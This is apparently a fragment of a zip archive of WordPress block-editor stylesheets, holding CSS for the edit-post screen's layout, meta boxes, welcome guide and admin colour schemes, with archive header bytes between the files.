4px;vertical-align:text-top}.edit-template-welcome-guide .components-button svg{fill:#fff}body.js.block-editor-page{background:#fff}body.js.block-editor-page #wpcontent{padding-left:0}body.js.block-editor-page #wpbody-content{padding-bottom:0}body.js.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.js.block-editor-page #wpfooter{display:none}body.js.block-editor-page .a11y-speak-region{left:-1px;top:-1px}body.js.block-editor-page ul#adminmenu a.wp-has-current-submenu:after,body.js.block-editor-page ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.block-editor-page .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.block-editor-page #wpwrap{overflow-y:auto}@media (min-width:782px){.block-editor-page #wpwrap{overflow-y:initial}}.edit-post-visual-editor.is-iframed,.editor-header,.editor-post-publish-panel,.editor-sidebar,.editor-text-editor{box-sizing:border-box}.edit-post-visual-editor.is-iframed *,.edit-post-visual-editor.is-iframed :after,.edit-post-visual-editor.is-iframed :before,.editor-header *,.editor-header :after,.editor-header :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before,.editor-sidebar *,.editor-sidebar :after,.editor-sidebar :before,.editor-text-editor *,.editor-text-editor :after,.editor-text-editor :before{box-sizing:inherit}@media (min-width:600px){.block-editor__container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.block-editor__container{min-height:calc(100vh - 32px)}body.is-fullscreen-mode .block-editor__container{min-height:100vh}}.block-editor__container img{height:auto;max-width:100%}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[��ٴ�"dist/edit-post/classic-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-styles-wrapper :where(:not(.is-layout-flex,.is-layout-grid))>.wp-block{margin-left:auto;margin-right:auto}html :where(.editor-styles-wrapper){padding:8px}html :where(.editor-styles-wrapper) .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{margin-left:-8px;margin-right:-8px}html :where(.wp-block){margin-bottom:28px;margin-top:28px;max-width:840px}html :where(.wp-block)[data-align=wide]{max-width:1100px}html :where(.wp-block)[data-align=full]{max-width:none}html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{height:0;width:100%}html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{content:none}html :where(.wp-block)[data-align=left]>*{float:left;margin-right:2em}html :where(.wp-block)[data-align=right]>*{float:right;margin-left:2em}html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{clear:both}.wp-block-group>[data-align=full]{margin-left:auto;margin-right:auto}.wp-block-group.has-background>[data-align=full]{margin-right:-30px;width:calc(100% + 60px)}[data-align=full] .wp-block-group>.wp-block{padding-left:14px;padding-right:14px}@media (min-width:600px){[data-align=full] .wp-block-group>.wp-block{padding-left:0;padding-right:0}}[data-align=full] .wp-block-group>[data-align=full]{max-width:none;padding-left:0;padding-right:0;right:0;width:100%}[data-align=full] .wp-block-group.has-background>[data-align=full]{width:calc(100% + 60px)}PK1Xd[��z�6�6dist/edit-post/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

@media (min-width:782px){
  .edit-post-fullscreen-mode-close.components-button{
    align-items:center;
    align-self:stretch;
    background:#1e1e1e;
    border:none;
    border-radius:0;
    color:#fff;
    display:flex;
    height:60px;
    position:relative;
    width:60px;
  }
  .edit-post-fullscreen-mode-close.components-button:active{
    color:#fff;
  }
  .edit-post-fullscreen-mode-close.components-button:focus{
    box-shadow:none;
  }
  .edit-post-fullscreen-mode-close.components-button:before{
    border-radius:4px;
    bottom:10px;
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;
    content:"";
    display:block;
    left:9px;
    position:absolute;
    right:9px;
    top:9px;
  }
}
@media (min-width:782px) and (not (prefers-reduced-motion)){
  .edit-post-fullscreen-mode-close.components-button:before{
    transition:box-shadow .1s ease;
  }
}
@media (min-width:782px){
  .edit-post-fullscreen-mode-close.components-button:hover:before{
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #757575;
  }
  .edit-post-fullscreen-mode-close.components-button.has-icon:hover:before{
    box-shadow:none;
  }
  .edit-post-fullscreen-mode-close.components-button:focus:before{
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a, inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  }
}
.edit-post-fullscreen-mode-close.components-button .edit-post-fullscreen-mode-close_site-icon{
  border-radius:2px;
  height:36px;
  margin-top:-1px;
  object-fit:cover;
  width:36px;
}
.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon{
  width:60px;
}
.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon svg{
  display:block;
}
.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon:after{
  content:none;
}

.edit-post-meta-boxes-main{
  background-color:#fff;
  display:flex;
  filter:drop-shadow(0 -1px rgba(0, 0, 0, .133));
  flex-direction:column;
  outline:1px solid #0000;
  overflow:hidden;
}
.edit-post-meta-boxes-main.is-resizable{
  padding-block-start:24px;
}

.edit-post-meta-boxes-main__presenter{
  box-shadow:0 1px #ddd;
  display:flex;
  outline:1px solid #0000;
  position:relative;
  z-index:1;
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button,.is-toggle-only>.edit-post-meta-boxes-main__presenter{
  appearance:none;
  background-color:initial;
  border:none;
  outline:none;
  padding:0;
}
.is-toggle-only>.edit-post-meta-boxes-main__presenter{
  align-items:center;
  cursor:pointer;
  flex-shrink:0;
  height:32px;
  justify-content:space-between;
  padding-inline:24px 12px;
}
.is-toggle-only>.edit-post-meta-boxes-main__presenter:is(:hover,:focus-visible){
  color:var(--wp-admin-theme-color);
}
.is-toggle-only>.edit-post-meta-boxes-main__presenter:focus-visible:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  inset:var(--wp-admin-border-width-focus);
  outline:2px solid #0000;
  position:absolute;
}
.is-toggle-only>.edit-post-meta-boxes-main__presenter>svg{
  fill:currentColor;
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter{
  inset:0 0 auto;
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button{
  cursor:inherit;
  height:24px;
  margin:auto;
  width:64px;
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button:before{
  background-color:#ddd;
  border-radius:2px;
  content:"";
  height:4px;
  inset-block:calc(50% - 2px) auto;
  outline:2px solid #0000;
  outline-offset:-2px;
  position:absolute;
  transform:translateX(50%);
  width:inherit;
}
@media not (prefers-reduced-motion){
  .is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button:before{
    transition:width .3s ease-out;
  }
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter:is(:hover,:focus-within)>button:before{
  background-color:var(--wp-admin-theme-color);
  width:80px;
}

@media (pointer:coarse){
  .is-resizable.edit-post-meta-boxes-main{
    padding-block-start:32px;
  }
  .is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button{
    height:32px;
  }
}
.edit-post-meta-boxes-main__liner{
  isolation:isolate;
  overflow:auto;
}

.edit-post-layout__metaboxes{
  clear:both;
}

.has-metaboxes .interface-interface-skeleton__content:has(.edit-post-meta-boxes-main) .editor-visual-editor{
  flex-basis:0%;
  flex-shrink:1;
}

.has-metaboxes .editor-visual-editor.is-iframed{
  isolation:isolate;
}

.components-editor-notices__snackbar{
  bottom:24px;
  left:0;
  padding-left:24px;
  padding-right:24px;
  position:fixed;
}

.edit-post-layout .components-editor-notices__snackbar{
  right:0;
}
@media (min-width:783px){
  .edit-post-layout .components-editor-notices__snackbar{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-post-layout .components-editor-notices__snackbar{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-post-layout .components-editor-notices__snackbar{
    right:160px;
  }
}
.folded .edit-post-layout .components-editor-notices__snackbar{
  right:0;
}
@media (min-width:783px){
  .folded .edit-post-layout .components-editor-notices__snackbar{
    right:36px;
  }
}

body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{
  right:0 !important;
}

.edit-post-meta-boxes-area{
  position:relative;
}
.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{
  box-sizing:initial;
}
.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{
  box-sizing:border-box;
}
.edit-post-meta-boxes-area .postbox-header{
  border-bottom:0;
  border-top:1px solid #ddd;
}
.edit-post-meta-boxes-area #poststuff{
  margin:0 auto;
  min-width:auto;
  padding-top:0;
}
.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{
  box-sizing:border-box;
  color:inherit;
  font-weight:600;
  outline:none;
  padding:0 24px;
  position:relative;
  width:100%;
}
.edit-post-meta-boxes-area .postbox{
  border:0;
  color:inherit;
  margin-bottom:0;
}
.edit-post-meta-boxes-area .postbox>.inside{
  color:inherit;
  margin:0;
  padding:0 24px 24px;
}
.edit-post-meta-boxes-area .postbox .handlediv{
  height:44px;
  width:44px;
}
.edit-post-meta-boxes-area.is-loading:before{
  background:#0000;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.edit-post-meta-boxes-area .components-spinner{
  left:20px;
  position:absolute;
  top:10px;
  z-index:5;
}
.edit-post-meta-boxes-area .is-hidden{
  display:none;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{
  border:1px solid #757575;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{
  background:#fff;
  border-color:#757575;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{
  margin:-3px -4px;
}

.edit-post-meta-boxes-area__clear{
  clear:both;
}

.edit-post-welcome-guide,.edit-template-welcome-guide{
  width:312px;
}
.edit-post-welcome-guide__image,.edit-template-welcome-guide__image{
  background:#00a0d2;
  margin:0 0 16px;
}
.edit-post-welcome-guide__image>img,.edit-template-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-post-welcome-guide__heading,.edit-template-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-post-welcome-guide__text,.edit-template-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 24px;
  padding:0 32px;
}
.edit-post-welcome-guide__inserter-icon,.edit-template-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-template-welcome-guide .components-button svg{
  fill:#fff;
}

body.js.block-editor-page{
  background:#fff;
}
body.js.block-editor-page #wpcontent{
  padding-right:0;
}
body.js.block-editor-page #wpbody-content{
  padding-bottom:0;
}
body.js.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.js.block-editor-page #wpfooter{
  display:none;
}
body.js.block-editor-page .a11y-speak-region{
  right:-1px;
  top:-1px;
}
body.js.block-editor-page ul#adminmenu a.wp-has-current-submenu:after,body.js.block-editor-page ul#adminmenu>li.current>a.current:after{
  border-left-color:#fff;
}
body.js.block-editor-page .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

.block-editor-page #wpwrap{
  overflow-y:auto;
}
@media (min-width:782px){
  .block-editor-page #wpwrap{
    overflow-y:initial;
  }
}

.edit-post-visual-editor.is-iframed,.editor-header,.editor-post-publish-panel,.editor-sidebar,.editor-text-editor{
  box-sizing:border-box;
}
.edit-post-visual-editor.is-iframed *,.edit-post-visual-editor.is-iframed :after,.edit-post-visual-editor.is-iframed :before,.editor-header *,.editor-header :after,.editor-header :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before,.editor-sidebar *,.editor-sidebar :after,.editor-sidebar :before,.editor-text-editor *,.editor-text-editor :after,.editor-text-editor :before{
  box-sizing:inherit;
}

@media (min-width:600px){
  .block-editor__container{
    bottom:0;
    left:0;
    min-height:calc(100vh - 46px);
    position:absolute;
    right:0;
    top:0;
  }
}
@media (min-width:782px){
  .block-editor__container{
    min-height:calc(100vh - 32px);
  }
  body.is-fullscreen-mode .block-editor__container{
    min-height:100vh;
  }
}
.block-editor__container img{
  height:auto;
  max-width:100%;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[C�˜6�6dist/edit-post/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

@media (min-width:782px){
  .edit-post-fullscreen-mode-close.components-button{
    align-items:center;
    align-self:stretch;
    background:#1e1e1e;
    border:none;
    border-radius:0;
    color:#fff;
    display:flex;
    height:60px;
    position:relative;
    width:60px;
  }
  .edit-post-fullscreen-mode-close.components-button:active{
    color:#fff;
  }
  .edit-post-fullscreen-mode-close.components-button:focus{
    box-shadow:none;
  }
  .edit-post-fullscreen-mode-close.components-button:before{
    border-radius:4px;
    bottom:10px;
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;
    content:"";
    display:block;
    left:9px;
    position:absolute;
    right:9px;
    top:9px;
  }
}
@media (min-width:782px) and (not (prefers-reduced-motion)){
  .edit-post-fullscreen-mode-close.components-button:before{
    transition:box-shadow .1s ease;
  }
}
@media (min-width:782px){
  .edit-post-fullscreen-mode-close.components-button:hover:before{
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #757575;
  }
  .edit-post-fullscreen-mode-close.components-button.has-icon:hover:before{
    box-shadow:none;
  }
  .edit-post-fullscreen-mode-close.components-button:focus:before{
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a, inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  }
}
.edit-post-fullscreen-mode-close.components-button .edit-post-fullscreen-mode-close_site-icon{
  border-radius:2px;
  height:36px;
  margin-top:-1px;
  object-fit:cover;
  width:36px;
}
.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon{
  width:60px;
}
.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon svg{
  display:block;
}
.show-icon-labels .editor-header .edit-post-fullscreen-mode-close.has-icon:after{
  content:none;
}

.edit-post-meta-boxes-main{
  background-color:#fff;
  display:flex;
  filter:drop-shadow(0 -1px rgba(0, 0, 0, .133));
  flex-direction:column;
  outline:1px solid #0000;
  overflow:hidden;
}
.edit-post-meta-boxes-main.is-resizable{
  padding-block-start:24px;
}

.edit-post-meta-boxes-main__presenter{
  box-shadow:0 1px #ddd;
  display:flex;
  outline:1px solid #0000;
  position:relative;
  z-index:1;
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button,.is-toggle-only>.edit-post-meta-boxes-main__presenter{
  appearance:none;
  background-color:initial;
  border:none;
  outline:none;
  padding:0;
}
.is-toggle-only>.edit-post-meta-boxes-main__presenter{
  align-items:center;
  cursor:pointer;
  flex-shrink:0;
  height:32px;
  justify-content:space-between;
  padding-inline:24px 12px;
}
.is-toggle-only>.edit-post-meta-boxes-main__presenter:is(:hover,:focus-visible){
  color:var(--wp-admin-theme-color);
}
.is-toggle-only>.edit-post-meta-boxes-main__presenter:focus-visible:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  inset:var(--wp-admin-border-width-focus);
  outline:2px solid #0000;
  position:absolute;
}
.is-toggle-only>.edit-post-meta-boxes-main__presenter>svg{
  fill:currentColor;
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter{
  inset:0 0 auto;
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button{
  cursor:inherit;
  height:24px;
  margin:auto;
  width:64px;
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button:before{
  background-color:#ddd;
  border-radius:2px;
  content:"";
  height:4px;
  inset-block:calc(50% - 2px) auto;
  outline:2px solid #0000;
  outline-offset:-2px;
  position:absolute;
  transform:translateX(-50%);
  width:inherit;
}
@media not (prefers-reduced-motion){
  .is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button:before{
    transition:width .3s ease-out;
  }
}
.is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter:is(:hover,:focus-within)>button:before{
  background-color:var(--wp-admin-theme-color);
  width:80px;
}

@media (pointer:coarse){
  .is-resizable.edit-post-meta-boxes-main{
    padding-block-start:32px;
  }
  .is-resizable.edit-post-meta-boxes-main .edit-post-meta-boxes-main__presenter>button{
    height:32px;
  }
}
.edit-post-meta-boxes-main__liner{
  isolation:isolate;
  overflow:auto;
}

.edit-post-layout__metaboxes{
  clear:both;
}

.has-metaboxes .interface-interface-skeleton__content:has(.edit-post-meta-boxes-main) .editor-visual-editor{
  flex-basis:0%;
  flex-shrink:1;
}

.has-metaboxes .editor-visual-editor.is-iframed{
  isolation:isolate;
}

.components-editor-notices__snackbar{
  bottom:24px;
  padding-left:24px;
  padding-right:24px;
  position:fixed;
  right:0;
}

.edit-post-layout .components-editor-notices__snackbar{
  left:0;
}
@media (min-width:783px){
  .edit-post-layout .components-editor-notices__snackbar{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-post-layout .components-editor-notices__snackbar{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-post-layout .components-editor-notices__snackbar{
    left:160px;
  }
}
.folded .edit-post-layout .components-editor-notices__snackbar{
  left:0;
}
@media (min-width:783px){
  .folded .edit-post-layout .components-editor-notices__snackbar{
    left:36px;
  }
}

body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{
  left:0 !important;
}

.edit-post-meta-boxes-area{
  position:relative;
}
.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{
  box-sizing:initial;
}
.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{
  box-sizing:border-box;
}
.edit-post-meta-boxes-area .postbox-header{
  border-bottom:0;
  border-top:1px solid #ddd;
}
.edit-post-meta-boxes-area #poststuff{
  margin:0 auto;
  min-width:auto;
  padding-top:0;
}
.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{
  box-sizing:border-box;
  color:inherit;
  font-weight:600;
  outline:none;
  padding:0 24px;
  position:relative;
  width:100%;
}
.edit-post-meta-boxes-area .postbox{
  border:0;
  color:inherit;
  margin-bottom:0;
}
.edit-post-meta-boxes-area .postbox>.inside{
  color:inherit;
  margin:0;
  padding:0 24px 24px;
}
.edit-post-meta-boxes-area .postbox .handlediv{
  height:44px;
  width:44px;
}
.edit-post-meta-boxes-area.is-loading:before{
  background:#0000;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.edit-post-meta-boxes-area .components-spinner{
  position:absolute;
  right:20px;
  top:10px;
  z-index:5;
}
.edit-post-meta-boxes-area .is-hidden{
  display:none;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{
  border:1px solid #757575;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{
  background:#fff;
  border-color:#757575;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{
  margin:-3px -4px;
}

.edit-post-meta-boxes-area__clear{
  clear:both;
}

.edit-post-welcome-guide,.edit-template-welcome-guide{
  width:312px;
}
.edit-post-welcome-guide__image,.edit-template-welcome-guide__image{
  background:#00a0d2;
  margin:0 0 16px;
}
.edit-post-welcome-guide__image>img,.edit-template-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-post-welcome-guide__heading,.edit-template-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-post-welcome-guide__text,.edit-template-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 24px;
  padding:0 32px;
}
.edit-post-welcome-guide__inserter-icon,.edit-template-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-template-welcome-guide .components-button svg{
  fill:#fff;
}

body.js.block-editor-page{
  background:#fff;
}
body.js.block-editor-page #wpcontent{
  padding-left:0;
}
body.js.block-editor-page #wpbody-content{
  padding-bottom:0;
}
body.js.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.js.block-editor-page #wpfooter{
  display:none;
}
body.js.block-editor-page .a11y-speak-region{
  left:-1px;
  top:-1px;
}
